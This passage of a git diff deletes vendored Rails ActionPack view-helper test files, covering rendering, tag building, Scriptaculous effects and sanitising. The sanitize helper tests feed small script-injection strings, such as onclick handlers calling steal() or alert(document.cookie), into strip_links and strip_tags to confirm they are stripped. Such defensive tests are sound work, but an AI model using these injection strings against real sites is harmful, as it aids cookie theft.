-    expected = %(<ul class="post" id="archived_post_45"></ul>)
-    actual = content_tag_for(:ul, @post, :archived) { }
-    assert_dom_equal expected, actual
-  end
-
-  def test_content_tag_for_with_extra_html_tags
-    expected = %(<tr class="post bar" id="post_45" style='background-color: #f0f0f0'></tr>)
-    actual = content_tag_for(:tr, @post, {:class => "bar", :style => "background-color: #f0f0f0"}) { }
-    assert_dom_equal expected, actual
-  end
-
-  def test_block_not_in_erb_multiple_calls
-    expected = %(<div class="post bar" id="post_45">#{@post.body}</div>)
-    actual = div_for(@post, :class => "bar") { @post.body }
-    assert_dom_equal expected, actual
-    actual = div_for(@post, :class => "bar") { @post.body }
-    assert_dom_equal expected, actual
-  end
-
-  def test_block_works_with_content_tag_for_in_erb
-    __in_erb_template = ''
-    expected = %(<tr class="post" id="post_45">#{@post.body}</tr>)
-    actual = content_tag_for(:tr, @post) { concat @post.body }
-    assert_dom_equal expected, actual
-  end
-
-  def test_div_for_in_erb
-    __in_erb_template = ''
-    expected = %(<div class="post bar" id="post_45">#{@post.body}</div>)
-    actual = div_for(@post, :class => "bar") { concat @post.body }
-    assert_dom_equal expected, actual
-  end
-end
diff --git a/vendor/rails/actionpack/test/template/render_test.rb b/vendor/rails/actionpack/test/template/render_test.rb
deleted file mode 100644
index 454aa4c9..00000000
--- a/vendor/rails/actionpack/test/template/render_test.rb
+++ /dev/null
@@ -1,329 +0,0 @@
-# encoding: utf-8
-require 'abstract_unit'
-require 'controller/fake_models'
-
-module RenderTestCases
-  def setup_view(paths)
-    @assigns = { :secret => 'in the sauce' }
-    @view = ActionView::Base.new(paths, @assigns)
-
-    # Reload and register danish language for testing
-    I18n.reload!
-    I18n.backend.store_translations 'da', {}
-    I18n.backend.store_translations 'pt-BR', {}
-
-    # Ensure original are still the same since we are reindexing view paths
-    assert_equal ORIGINAL_LOCALES, I18n.available_locales.map(&:to_s).sort
-  end
-
-  def test_render_file
-    assert_equal "Hello world!", @view.render(:file => "test/hello_world.erb")
-  end
-
-  def test_render_file_not_using_full_path
-    assert_equal "Hello world!", @view.render(:file => "test/hello_world.erb")
-  end
-
-  def test_render_file_without_specific_extension
-    assert_equal "Hello world!", @view.render(:file => "test/hello_world")
-  end
-
-  def test_render_file_with_localization
-    old_locale = I18n.locale
-    I18n.locale = :da
-    assert_equal "Hey verden", @view.render(:file => "test/hello_world")
-  ensure
-    I18n.locale = old_locale
-  end
-
-  def test_render_file_with_dashed_locale
-    old_locale = I18n.locale
-    I18n.locale = :"pt-BR"
-    assert_equal "Ola mundo", @view.render(:file => "test/hello_world")
-  ensure
-    I18n.locale = old_locale
-  end
-
-  def test_render_implicit_html_template_from_xhr_request
-    old_format = @view.template_format
-    @view.template_format = :js
-    assert_equal "Hello HTML!", @view.render(:file => "test/render_implicit_html_template_from_xhr_request")
-  ensure
-    @view.template_format = old_format
-  end
-
-  def test_render_implicit_html_template_from_xhr_request_with_localization
-    old_locale = I18n.locale
-    old_format = @view.template_format
-    I18n.locale = :da
-    @view.template_format = :js
-    assert_equal "Hey HTML!\n", @view.render(:file => "test/render_implicit_html_template_from_xhr_request")
-  ensure
-    I18n.locale = old_locale
-    @view.template_format = old_format
-  end
-
-  def test_render_file_at_top_level
-    assert_equal 'Elastica', @view.render(:file => '/shared')
-  end
-
-  def test_render_file_with_full_path
-    template_path = File.join(File.dirname(__FILE__), '../fixtures/test/hello_world.erb')
-    assert_equal "Hello world!", @view.render(:file => template_path)
-  end
-
-  def test_render_file_with_instance_variables
-    assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_ivar.erb")
-  end
-
-  def test_render_file_with_locals
-    locals = { :secret => 'in the sauce' }
-    assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_locals.erb", :locals => locals)
-  end
-
-  def test_render_file_not_using_full_path_with_dot_in_path
-    assert_equal "The secret is in the sauce\n", @view.render(:file => "test/dot.directory/render_file_with_ivar")
-  end
-
-  def test_render_has_access_current_template
-    assert_equal "test/template.erb", @view.render(:file => "test/template.erb")
-  end
-
-  def test_render_update
-    # TODO: You should not have to stub out template because template is self!
-    @view.instance_variable_set(:@template, @view)
-    assert_equal 'alert("Hello, World!");', @view.render(:update) { |page| page.alert('Hello, World!') }
-  end
-
-  def test_render_partial_from_default
-    assert_equal "only partial", @view.render("test/partial_only")
-  end
-
-  def test_render_partial
-    assert_equal "only partial", @view.render(:partial => "test/partial_only")
-  end
-
-  def test_render_partial_with_format
-    assert_equal 'partial html', @view.render(:partial => 'test/partial')
-  end
-
-  def test_render_partial_at_top_level
-    # file fixtures/_top_level_partial_only.erb (not fixtures/test)
-    assert_equal 'top level partial', @view.render(:partial => '/top_level_partial_only')
-  end
-
-  def test_render_partial_with_format_at_top_level
-    # file fixtures/_top_level_partial.html.erb (not fixtures/test, with format extension)
-    assert_equal 'top level partial html', @view.render(:partial => '/top_level_partial')
-  end
-
-  def test_render_partial_with_locals
-    assert_equal "5", @view.render(:partial => "test/counter", :locals => { :counter_counter => 5 })
-  end
-
-  def test_render_partial_with_locals_from_default
-    assert_equal "only partial", @view.render("test/partial_only", :counter_counter => 5)
-  end
-
-  def test_render_partial_with_errors
-    @view.render(:partial => "test/raise")
-    flunk "Render did not raise TemplateError"
-  rescue ActionView::TemplateError => e
-    assert_match "undefined local variable or method `doesnt_exist'", e.message
-    assert_equal "", e.sub_template_message
-    assert_equal "1", e.line_number
-    assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
-  end
-
-  def test_render_sub_template_with_errors
-    @view.render(:file => "test/sub_template_raise")
-    flunk "Render did not raise TemplateError"
-  rescue ActionView::TemplateError => e
-    assert_match "undefined local variable or method `doesnt_exist'", e.message
-    assert_equal "Trace of template inclusion: #{File.expand_path("#{FIXTURE_LOAD_PATH}/test/sub_template_raise.html.erb")}", e.sub_template_message
-    assert_equal "1", e.line_number
-    assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
-  end
-
-  def test_render_object
-    assert_equal "Hello: david", @view.render(:partial => "test/customer", :object => Customer.new("david"))
-  end
-
-  def test_render_partial_collection
-    assert_equal "Hello: davidHello: mary", @view.render(:partial => "test/customer", :collection => [ Customer.new("david"), Customer.new("mary") ])
-  end
-
-  def test_render_partial_collection_as
-    assert_equal "david david davidmary mary mary",
-      @view.render(:partial => "test/customer_with_var", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :customer)
-  end
-
-  def test_render_partial_collection_without_as
-    assert_equal "local_inspector,local_inspector_counter,object",
-      @view.render(:partial => "test/local_inspector", :collection => [ Customer.new("mary") ])
-  end
-
-  def test_render_partial_with_empty_collection_should_return_nil
-    assert_nil @view.render(:partial => "test/customer", :collection => [])
-  end
-
-  def test_render_partial_with_nil_collection_should_return_nil
-    assert_nil @view.render(:partial => "test/customer", :collection => nil)
-  end
-
-  def test_render_partial_with_nil_values_in_collection
-    assert_equal "Hello: davidHello: Anonymous", @view.render(:partial => "test/customer", :collection => [ Customer.new("david"), nil ])
-  end
-
-  def test_render_partial_with_empty_array_should_return_nil
-    assert_nil @view.render(:partial => [])
-  end
-
-  # TODO: The reason for this test is unclear, improve documentation
-  def test_render_partial_and_fallback_to_layout
-    assert_equal "Before (Josh)\n\nAfter", @view.render(:partial => "test/layout_for_partial", :locals => { :name => "Josh" })
-  end
-
-  # TODO: The reason for this test is unclear, improve documentation
-  def test_render_missing_xml_partial_and_raise_missing_template
-    @view.template_format = :xml
-    assert_raise(ActionView::MissingTemplate) { @view.render(:partial => "test/layout_for_partial") }
-  end
-
-  def test_render_inline
-    assert_equal "Hello, World!", @view.render(:inline => "Hello, World!")
-  end
-
-  def test_render_inline_with_locals
-    assert_equal "Hello, Josh!", @view.render(:inline => "Hello, <%= name %>!", :locals => { :name => "Josh" })
-  end
-
-  def test_render_fallbacks_to_erb_for_unknown_types
-    assert_equal "Hello, World!", @view.render(:inline => "Hello, World!", :type => :bar)
-  end
-
-  CustomHandler = lambda do |template|
-    "@output_buffer = ''\n" +
-      "@output_buffer << 'source: #{template.source.inspect}'\n"
-  end
-
-  def test_render_inline_with_compilable_custom_type
-    ActionView::Template.register_template_handler :foo, CustomHandler
-    assert_equal 'source: "Hello, World!"', @view.render(:inline => "Hello, World!", :type => :foo)
-  end
-
-  def test_render_inline_with_locals_and_compilable_custom_type
-    ActionView::Template.register_template_handler :foo, CustomHandler
-    assert_equal 'source: "Hello, <%= name %>!"', @view.render(:inline => "Hello, <%= name %>!", :locals => { :name => "Josh" }, :type => :foo)
-  end
-
-  class LegacyHandler < ActionView::TemplateHandler
-    def render(template, local_assigns)
-      "source: #{template.source}; locals: #{local_assigns.inspect}"
-    end
-  end
-
-  def test_render_legacy_handler_with_custom_type
-    ActionView::Template.register_template_handler :foo, LegacyHandler
-    assert_equal 'source: Hello, <%= name %>!; locals: {:name=>"Josh"}', @view.render(:inline => "Hello, <%= name %>!", :locals => { :name => "Josh" }, :type => :foo)
-  end
-
-  def test_render_ignores_templates_with_malformed_template_handlers
-    %w(malformed malformed.erb malformed.html.erb malformed.en.html.erb).each do |name|
-      assert_raise(ActionView::MissingTemplate) { @view.render(:file => "test/malformed/#{name}") }
-    end
-  end
-
-  def test_template_with_malformed_template_handler_is_reachable_through_its_exact_filename
-    assert_equal "Don't render me!", @view.render(:file => 'test/malformed/malformed.html.erb~')
-  end
-
-  def test_render_with_layout
-    assert_equal %(<title></title>\nHello world!\n),
-      @view.render(:file => "test/hello_world.erb", :layout => "layouts/yield")
-  end
-
-  def test_render_with_nested_layout
-    assert_equal %(<title>title</title>\n<div id="column">column</div>\n<div id="content">content</div>\n),
-      @view.render(:file => "test/nested_layout.erb", :layout => "layouts/yield")
-  end
-end
-
-module TemplatesSetupTeardown
-  def setup_view_paths_for(new_cache_template_loading)
-    @previous_cache_template_loading, ActionView::Base.cache_template_loading = ActionView::Base.cache_template_loading, new_cache_template_loading
-    view_paths = new_cache_template_loading ? CACHED_VIEW_PATHS : ActionView::Base.process_view_paths(CACHED_VIEW_PATHS.map(&:to_s))
-    assert_equal(new_cache_template_loading ? ActionView::Template::EagerPath : ActionView::ReloadableTemplate::ReloadablePath, view_paths.first.class)
-    setup_view(view_paths)
-  end
-  
-  def teardown
-    ActionView::Base.cache_template_loading = @previous_cache_template_loading
-  end
-end
-
-class CachedRenderTest < Test::Unit::TestCase
-  include TemplatesSetupTeardown
-  include RenderTestCases
-
-  def setup
-    setup_view_paths_for(cache_templates = true)
-  end
-end
-
-class ReloadableRenderTest < Test::Unit::TestCase
-  include TemplatesSetupTeardown
-  include RenderTestCases
-
-  def setup
-    setup_view_paths_for(cache_templates = false)
-  end
-
-  if '1.9'.respond_to?(:force_encoding)
-    def test_render_utf8_template_with_magic_comment
-      with_external_encoding Encoding::ASCII_8BIT do
-        result = @view.render(:file => "test/utf8_magic.html.erb", :layouts => "layouts/yield")
-        assert_equal Encoding::UTF_8, result.encoding
-        assert_equal "Русский текст\n\nUTF-8\nUTF-8\nUTF-8\n", result
-      end
-    end
-
-    def test_render_utf8_template_with_default_external_encoding
-      with_external_encoding Encoding::UTF_8 do
-        result = @view.render(:file => "test/utf8.html.erb", :layouts => "layouts/yield")
-        assert_equal Encoding::UTF_8, result.encoding
-        assert_equal "Русский текст\n\nUTF-8\nUTF-8\nUTF-8\n", result
-      end
-    end
-
-    def test_render_utf8_template_with_incompatible_external_encoding
-      with_external_encoding Encoding::SJIS do
-        begin
-          result = @view.render(:file => "test/utf8.html.erb", :layouts => "layouts/yield")
-          flunk 'Should have raised incompatible encoding error'
-        rescue ActionView::TemplateError => error
-          assert_match 'invalid byte sequence in Shift_JIS', error.original_exception.message
-        end
-      end
-    end
-
-    def test_render_utf8_template_with_partial_with_incompatible_encoding
-      with_external_encoding Encoding::SJIS do
-        begin
-          result = @view.render(:file => "test/utf8_magic_with_bare_partial.html.erb", :layouts => "layouts/yield")
-          flunk 'Should have raised incompatible encoding error'
-        rescue ActionView::TemplateError => error
-          assert_match 'invalid byte sequence in Shift_JIS', error.original_exception.message
-        end
-      end
-    end
-
-    def with_external_encoding(encoding)
-      old, Encoding.default_external = Encoding.default_external, encoding
-      yield
-    ensure
-      Encoding.default_external = old
-    end
-  end
-end
-
diff --git a/vendor/rails/actionpack/test/template/sanitize_helper_test.rb b/vendor/rails/actionpack/test/template/sanitize_helper_test.rb
deleted file mode 100644
index 222d4dbf..00000000
--- a/vendor/rails/actionpack/test/template/sanitize_helper_test.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-require 'abstract_unit'
-require 'testing_sandbox'
-
-# The exhaustive tests are in test/controller/html/sanitizer_test.rb.
-# This tests the that the helpers hook up correctly to the sanitizer classes.
-class SanitizeHelperTest < ActionView::TestCase
-  tests ActionView::Helpers::SanitizeHelper
-  include TestingSandbox
-
-  def test_strip_links
-    assert_equal "Dont touch me", strip_links("Dont touch me")
-    assert_equal "<a<a", strip_links("<a<a")
-    assert_equal "on my mind\nall day long", strip_links("<a href='almost'>on my mind</a>\n<A href='almost'>all day long</A>")
-    assert_equal "0wn3d", strip_links("<a href='http://www.rubyonrails.com/'><a href='http://www.rubyonrails.com/' onlclick='steal()'>0wn3d</a></a>")
-    assert_equal "Magic", strip_links("<a href='http://www.rubyonrails.com/'>Mag<a href='http://www.ruby-lang.org/'>ic")
-    assert_equal "FrrFox", strip_links("<href onlclick='steal()'>FrrFox</a></href>")
-    assert_equal "My mind\nall <b>day</b> long", strip_links("<a href='almost'>My mind</a>\n<A href='almost'>all <b>day</b> long</A>")
-    assert_equal "all <b>day</b> long", strip_links("<<a>a href='hello'>all <b>day</b> long<</A>/a>")
-  end
-
-  def test_sanitize_form
-    assert_sanitized "<form action=\"/foo/bar\" method=\"post\"><input></form>", ''
-  end
-
-  def test_should_sanitize_illegal_style_properties
-    raw      = %(display:block; position:absolute; left:0; top:0; width:100%; height:100%; z-index:1; background-color:black; background-image:url(http://www.ragingplatypus.com/i/cam-full.jpg); background-x:center; background-y:center; background-repeat:repeat;)
-    expected = %(display: block; width: 100%; height: 100%; background-color: black; background-image: ; background-x: center; background-y: center;)
-    assert_equal expected, sanitize_css(raw)
-  end
-
-  def test_strip_tags
-    assert_equal("<<<bad html", strip_tags("<<<bad html"))
-    assert_equal("<<", strip_tags("<<<bad html>"))
-    assert_equal("Dont touch me", strip_tags("Dont touch me"))
-    assert_equal("This is a test.", strip_tags("<p>This <u>is<u> a <a href='test.html'><strong>test</strong></a>.</p>"))
-    assert_equal("Weirdos", strip_tags("Wei<<a>a onclick='alert(document.cookie);'</a>/>rdos"))
-    assert_equal("This is a test.", strip_tags("This is a test."))
-    assert_equal(
-    %{This is a test.\n\n\nIt no longer contains any HTML.\n}, strip_tags(
-    %{<title>This is <b>a <a href="" target="_blank">test</a></b>.</title>\n\n<!-- it has a comment -->\n\n<p>It no <b>longer <strong>contains <em>any <strike>HTML</strike></em>.</strong></b></p>\n}))
-    assert_equal "This has a  here.", strip_tags("This has a <!-- comment --> here.")
-    [nil, '', '   '].each do |blank|
-      stripped = strip_tags(blank)
-      assert_equal blank, stripped
-      assert stripped.html_safe? unless blank.nil?
-    end
-    assert strip_tags("<script>").html_safe?
-  end
-
-  def test_sanitize_is_marked_safe
-    assert sanitize("<html><script></script></html>").html_safe?
-  end
-
-  def assert_sanitized(text, expected = nil)
-    assert_equal((expected || text), sanitize(text))
-  end
-end
diff --git a/vendor/rails/actionpack/test/template/scriptaculous_helper_test.rb b/vendor/rails/actionpack/test/template/scriptaculous_helper_test.rb
deleted file mode 100644
index 690a7751..00000000
--- a/vendor/rails/actionpack/test/template/scriptaculous_helper_test.rb
+++ /dev/null
@@ -1,90 +0,0 @@
-require 'abstract_unit'
-
-class ScriptaculousHelperTest < ActionView::TestCase
-  tests ActionView::Helpers::ScriptaculousHelper
-
-  def setup
-    @controller = Class.new do
-      def url_for(options)
-        url =  "http://www.example.com/"
-        url << options[:action].to_s if options and options[:action]
-        url
-      end
-    end.new
-  end
-  
-  def test_effect
-    assert_equal "new Effect.Highlight(\"posts\",{});", visual_effect(:highlight, "posts")
-    assert_equal "new Effect.Highlight(\"posts\",{});", visual_effect("highlight", :posts)
-    assert_equal "new Effect.Highlight(\"posts\",{});", visual_effect(:highlight, :posts)    
-    assert_equal "new Effect.Fade(\"fademe\",{duration:4.0});", visual_effect(:fade, "fademe", :duration => 4.0)
-    assert_equal "new Effect.Shake(element,{});", visual_effect(:shake)
-    assert_equal "new Effect.DropOut(\"dropme\",{queue:'end'});", visual_effect(:drop_out, 'dropme', :queue => :end)
-    assert_equal "new Effect.Highlight(\"status\",{endcolor:'#EEEEEE'});", visual_effect(:highlight, 'status', :endcolor => '#EEEEEE')
-    assert_equal "new Effect.Highlight(\"status\",{restorecolor:'#500000', startcolor:'#FEFEFE'});", visual_effect(:highlight, 'status', :restorecolor => '#500000', :startcolor => '#FEFEFE')
-
-    # chop the queue params into a comma separated list
-    beginning, ending = 'new Effect.DropOut("dropme",{queue:{', '}});'
-    ve = [
-      visual_effect(:drop_out, 'dropme', :queue => {:position => "end", :scope => "test", :limit => 2}),
-      visual_effect(:drop_out, 'dropme', :queue => {:scope => :list, :limit => 2}),
-      visual_effect(:drop_out, 'dropme', :queue => {:position => :end, :scope => :test, :limit => 2})
-    ].collect { |v| v[beginning.length..-ending.length-1].split(',') }
-
-    assert ve[0].include?("limit:2")
-    assert ve[0].include?("scope:'test'")
-    assert ve[0].include?("position:'end'")
-
-    assert ve[1].include?("limit:2")
-    assert ve[1].include?("scope:'list'")
-
-    assert ve[2].include?("limit:2")
-    assert ve[2].include?("scope:'test'")
-    assert ve[2].include?("position:'end'")
-  end
-  
-  def test_toggle_effects
-    assert_equal "Effect.toggle(\"posts\",'appear',{});", visual_effect(:toggle_appear,  "posts")
-    assert_equal "Effect.toggle(\"posts\",'slide',{});",  visual_effect(:toggle_slide,   "posts")
-    assert_equal "Effect.toggle(\"posts\",'blind',{});",  visual_effect(:toggle_blind,   "posts")
-    assert_equal "Effect.toggle(\"posts\",'appear',{});", visual_effect("toggle_appear", "posts")
-    assert_equal "Effect.toggle(\"posts\",'slide',{});",  visual_effect("toggle_slide",  "posts")
-    assert_equal "Effect.toggle(\"posts\",'blind',{});",  visual_effect("toggle_blind",  "posts")
-  end
-  
-
-  def test_sortable_element
-    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nSortable.create(\"mylist\", {onUpdate:function(){new Ajax.Request('http://www.example.com/order', {asynchronous:true, evalScripts:true, parameters:Sortable.serialize(\"mylist\")})}})\n//]]>\n</script>), 
-      sortable_element("mylist", :url => { :action => "order" })
-    assert_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nSortable.create(\"mylist\", {constraint:'horizontal', onUpdate:function(){new Ajax.Request('http://www.example.com/order', {asynchronous:true, evalScripts:true, parameters:Sortable.serialize(\"mylist\")})}, tag:'div'})\n//]]>\n</script>), 
-      sortable_element("mylist", :tag => "div", :constraint => "horizontal", :url => { :action => "order" })
-    assert_dom_equal %|<script type=\"text/javascript\">\n//<![CDATA[\nSortable.create(\"mylist\", {constraint:'horizontal', containment:['list1','list2'], onUpdate:function(){new Ajax.Request('http://www.example.com/order', {asynchronous:true, evalScripts:true, parameters:Sortable.serialize(\"mylist\")})}})\n//]]>\n</script>|, 
-      sortable_element("mylist", :containment => ['list1','list2'], :constraint => "horizontal", :url => { :action => "order" })
-    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nSortable.create(\"mylist\", {constraint:'horizontal', containment:'list1', onUpdate:function(){new Ajax.Request('http://www.example.com/order', {asynchronous:true, evalScripts:true, parameters:Sortable.serialize(\"mylist\")})}})\n//]]>\n</script>), 
-      sortable_element("mylist", :containment => 'list1', :constraint => "horizontal", :url => { :action => "order" })
-  end
-  
-  def test_draggable_element
-    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nnew Draggable(\"product_13\", {})\n//]]>\n</script>),
-      draggable_element("product_13")
-    assert_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nnew Draggable(\"product_13\", {revert:true})\n//]]>\n</script>),
-      draggable_element("product_13", :revert => true)
-  end
-  
-  def test_drop_receiving_element
-    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nDroppables.add(\"droptarget1\", {onDrop:function(element){new Ajax.Request('http://www.example.com/', {asynchronous:true, evalScripts:true, parameters:'id=' + encodeURIComponent(element.id)})}})\n//]]>\n</script>),
-      drop_receiving_element("droptarget1")
-    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nDroppables.add(\"droptarget1\", {accept:'products', onDrop:function(element){new Ajax.Request('http://www.example.com/', {asynchronous:true, evalScripts:true, parameters:'id=' + encodeURIComponent(element.id)})}})\n//]]>\n</script>),
-      drop_receiving_element("droptarget1", :accept => 'products')
-    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nDroppables.add(\"droptarget1\", {accept:'products', onDrop:function(element){new Ajax.Updater('infobox', 'http://www.example.com/', {asynchronous:true, evalScripts:true, parameters:'id=' + encodeURIComponent(element.id)})}})\n//]]>\n</script>),
-      drop_receiving_element("droptarget1", :accept => 'products', :update => 'infobox')
-    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nDroppables.add(\"droptarget1\", {accept:['tshirts','mugs'], onDrop:function(element){new Ajax.Updater('infobox', 'http://www.example.com/', {asynchronous:true, evalScripts:true, parameters:'id=' + encodeURIComponent(element.id)})}})\n//]]>\n</script>),
-      drop_receiving_element("droptarget1", :accept => ['tshirts','mugs'], :update => 'infobox')
-    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nDroppables.add("droptarget1", {hoverclass:'dropready', onDrop:function(element){if (confirm('Are you sure?')) { new Ajax.Request('http://www.example.com/update_drop', {asynchronous:true, evalScripts:true, parameters:'id=' + encodeURIComponent(element.id)}); }}})\n//]]>\n</script>),
-    drop_receiving_element('droptarget1', :hoverclass=>'dropready', :url=>{:action=>'update_drop'}, :confirm => 'Are you sure?')
-
-  end
-  def protect_against_forgery?
-    false
-  end
-end
diff --git a/vendor/rails/actionpack/test/template/tag_helper_test.rb b/vendor/rails/actionpack/test/template/tag_helper_test.rb
deleted file mode 100644
index 2acf6af1..00000000
--- a/vendor/rails/actionpack/test/template/tag_helper_test.rb
+++ /dev/null
@@ -1,98 +0,0 @@
-require 'abstract_unit'
-
-class TagHelperTest < ActionView::TestCase
-  tests ActionView::Helpers::TagHelper
-
-  def test_tag
-    assert_equal "<br />", tag("br")
-    assert_equal "<br clear=\"left\" />", tag(:br, :clear => "left")
-    assert_equal "<br>", tag("br", nil, true)
-  end
-
-  def test_tag_options
-    str = tag("p", "class" => "show", :class => "elsewhere")
-    assert_match /class="show"/, str
-    assert_match /class="elsewhere"/, str
-  end
-
-  def test_tag_options_rejects_nil_option
-    assert_equal "<p />", tag("p", :ignored => nil)
-  end
-
-  def test_tag_options_accepts_false_option
-    assert_equal "<p value=\"false\" />", tag("p", :value => false)
-  end
-
-  def test_tag_options_accepts_blank_option
-    assert_equal "<p included=\"\" />", tag("p", :included => '')
-  end
-
-  def test_tag_options_converts_boolean_option
-    assert_equal '<p disabled="disabled" multiple="multiple" readonly="readonly" />',
-      tag("p", :disabled => true, :multiple => true, :readonly => true)
-  end
-
-  def test_content_tag
-    assert_equal "<a href=\"create\">Create</a>", content_tag("a", "Create", "href" => "create")
-    assert content_tag("a", "Create", "href" => "create").html_safe?
-    assert_equal content_tag("a", "Create", "href" => "create"),
-                 content_tag("a", "Create", :href => "create")
-  end
-
-  def test_content_tag_with_block_in_erb
-    __in_erb_template = ''
-    content_tag(:div) { concat "Hello world!" }
-    assert_dom_equal "<div>Hello world!</div>", output_buffer
-  end
-
-  def test_content_tag_with_block_and_options_in_erb
-    __in_erb_template = ''
-    content_tag(:div, :class => "green") { concat "Hello world!" }
-    assert_dom_equal %(<div class="green">Hello world!</div>), output_buffer
-  end
-
-  def test_content_tag_with_block_and_options_out_of_erb
-    assert_dom_equal %(<div class="green">Hello world!</div>), content_tag(:div, :class => "green") { "Hello world!" }
-  end
-
-  def test_content_tag_with_block_and_options_outside_out_of_erb
-    assert_equal content_tag("a", "Create", :href => "create"),
-                 content_tag("a", "href" => "create") { "Create" }
-  end
-
-  def test_content_tag_nested_in_content_tag_out_of_erb
-    assert_equal content_tag("p", content_tag("b", "Hello")),
-                 content_tag("p") { content_tag("b", "Hello") },
-                 output_buffer
-  end
-
-  def test_content_tag_nested_in_content_tag_in_erb
-    __in_erb_template = true
-    content_tag("p") { concat content_tag("b", "Hello") }
-    assert_equal '<p><b>Hello</b></p>', output_buffer
-  end
-
-  def test_cdata_section
-    assert_equal "<![CDATA[<hello world>]]>", cdata_section("<hello world>")
-  end
-  
-  def test_escape_once
-    assert_equal '1 &lt; 2 &amp; 3', escape_once('1 < 2 &amp; 3')
-  end
-  
-  def test_double_escaping_attributes
-    ['1&amp;2', '1 &lt; 2', '&#8220;test&#8220;'].each do |escaped|
-      assert_equal %(<a href="#{escaped}" />), tag('a', :href => escaped)
-    end
-  end
-  
-  def test_skip_invalid_escaped_attributes
-    ['&1;', '&#1dfa3;', '& #123;'].each do |escaped|
-      assert_equal %(<a href="#{escaped.gsub /&/, '&amp;'}" />), tag('a', :href => escaped)
-    end
-  end
-
-  def test_disable_escaping
-    assert_equal '<a href="&amp;" />', tag('a', { :href => '&amp;' }, false, false)
-  end
-end
diff --git a/vendor/rails/actionpack/test/template/template_test.rb b/vendor/rails/actionpack/test/template/template_test.rb
deleted file mode 100644
index 7caec7ad..00000000
--- a/vendor/rails/actionpack/test/template/template_test.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-require 'abstract_unit'
-
-class TemplateTest < Test::Unit::TestCase
-  def test_template_path_parsing
-    with_options :base_path => nil, :name => 'abc', :locale => nil, :format => 'html', :extension => 'erb' do |t|
-      t.assert_parses_template_path 'abc.en.html.erb',        :locale => 'en'
-      t.assert_parses_template_path 'abc.en.plain.html.erb',  :locale => 'en', :format => 'plain.html'
-      t.assert_parses_template_path 'abc.html.erb'
-      t.assert_parses_template_path 'abc.plain.html.erb',     :format => 'plain.html'
-      t.assert_parses_template_path 'abc.erb',                :format => nil
-      t.assert_parses_template_path 'abc.html',               :extension => nil
-      
-      t.assert_parses_template_path '_abc.html.erb',          :name => '_abc'
-      
-      t.assert_parses_template_path 'test/abc.html.erb',      :base_path => 'test'
-      t.assert_parses_template_path './test/abc.html.erb',    :base_path => './test'
-      t.assert_parses_template_path '../test/abc.html.erb',   :base_path => '../test'
-      
-      t.assert_parses_template_path 'abc',                    :extension => nil, :format => nil, :name => nil
-      t.assert_parses_template_path 'abc.xxx',                :extension => nil, :format => 'xxx', :name => 'abc'
-      t.assert_parses_template_path 'abc.html.xxx',           :extension => nil, :format => 'xxx', :name => 'abc'
-    end
-  end
-
-  private
-  def assert_parses_template_path(path, parse_results)
-    template = ActionView::Template.new(path, '')
-    parse_results.each_pair do |k, v|
-      assert_block(%Q{Expected template to parse #{k.inspect} from "#{path}" as #{v.inspect}, but got #{template.send(k).inspect}}) { v == template.send(k) }
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/test/template/test_test.rb b/vendor/rails/actionpack/test/template/test_test.rb
deleted file mode 100644
index ccd299f4..00000000
--- a/vendor/rails/actionpack/test/template/test_test.rb
+++ /dev/null
@@ -1,54 +0,0 @@
-require 'abstract_unit'
-
-module PeopleHelper
-  def title(text)
-    content_tag(:h1, text)
-  end
-
-  def homepage_path
-    people_path
-  end
-
-  def homepage_url
-    people_url
-  end
-
-  def link_to_person(person)
-    link_to person.name, person
-  end
-end
-
-class PeopleHelperTest < ActionView::TestCase
-  def setup
-    ActionController::Routing::Routes.draw do |map|
-      map.people 'people', :controller => 'people', :action => 'index'
-      map.connect ':controller/:action/:id'
-    end
-  end
-
-  def test_title
-    assert_equal "<h1>Ruby on Rails</h1>", title("Ruby on Rails")
-  end
-
-  def test_homepage_path
-    assert_equal "/people", homepage_path
-  end
-
-  def test_homepage_url
-    assert_equal "http://test.host/people", homepage_url
-  end
-
-  def test_link_to_person
-    person = mock(:name => "David")
-    expects(:mocha_mock_path).with(person).returns("/people/1")
-    assert_equal '<a href="/people/1">David</a>', link_to_person(person)
-  end
-end
-
-class CrazyHelperTest < ActionView::TestCase
-  tests PeopleHelper
-
-  def test_helper_class_can_be_set_manually_not_just_inferred
-    assert_equal PeopleHelper, self.class.helper_class
-  end
-end
diff --git a/vendor/rails/actionpack/test/template/text_helper_test.rb b/vendor/rails/actionpack/test/template/text_helper_test.rb
deleted file mode 100644
index 03c2611a..00000000
--- a/vendor/rails/actionpack/test/template/text_helper_test.rb
+++ /dev/null
@@ -1,597 +0,0 @@
-# encoding: us-ascii
-require 'abstract_unit'
-require 'testing_sandbox'
-begin
-  require 'redcloth'
-rescue LoadError
-  $stderr.puts "Skipping textilize tests. `gem install RedCloth` to enable."
-end
-
-class TextHelperTest < ActionView::TestCase
-  tests ActionView::Helpers::TextHelper
-  include TestingSandbox
-
-  def setup
-    # This simulates the fact that instance variables are reset every time
-    # a view is rendered.  The cycle helper depends on this behavior.
-    @_cycles = nil if (defined? @_cycles)
-  end
-
-  def test_concat
-    self.output_buffer = ActiveSupport::SafeBuffer.new('foo')
-    assert_equal 'foobar', concat('bar')
-    assert_equal 'foobar', output_buffer
-  end
-
-  def test_simple_format
-    assert_equal "<p></p>", simple_format(nil)
-
-    assert_equal "<p>crazy\n<br /> cross\n<br /> platform linebreaks</p>", simple_format("crazy\r\n cross\r platform linebreaks")
-    assert_equal "<p>A paragraph</p>\n\n<p>and another one!</p>", simple_format("A paragraph\n\nand another one!")
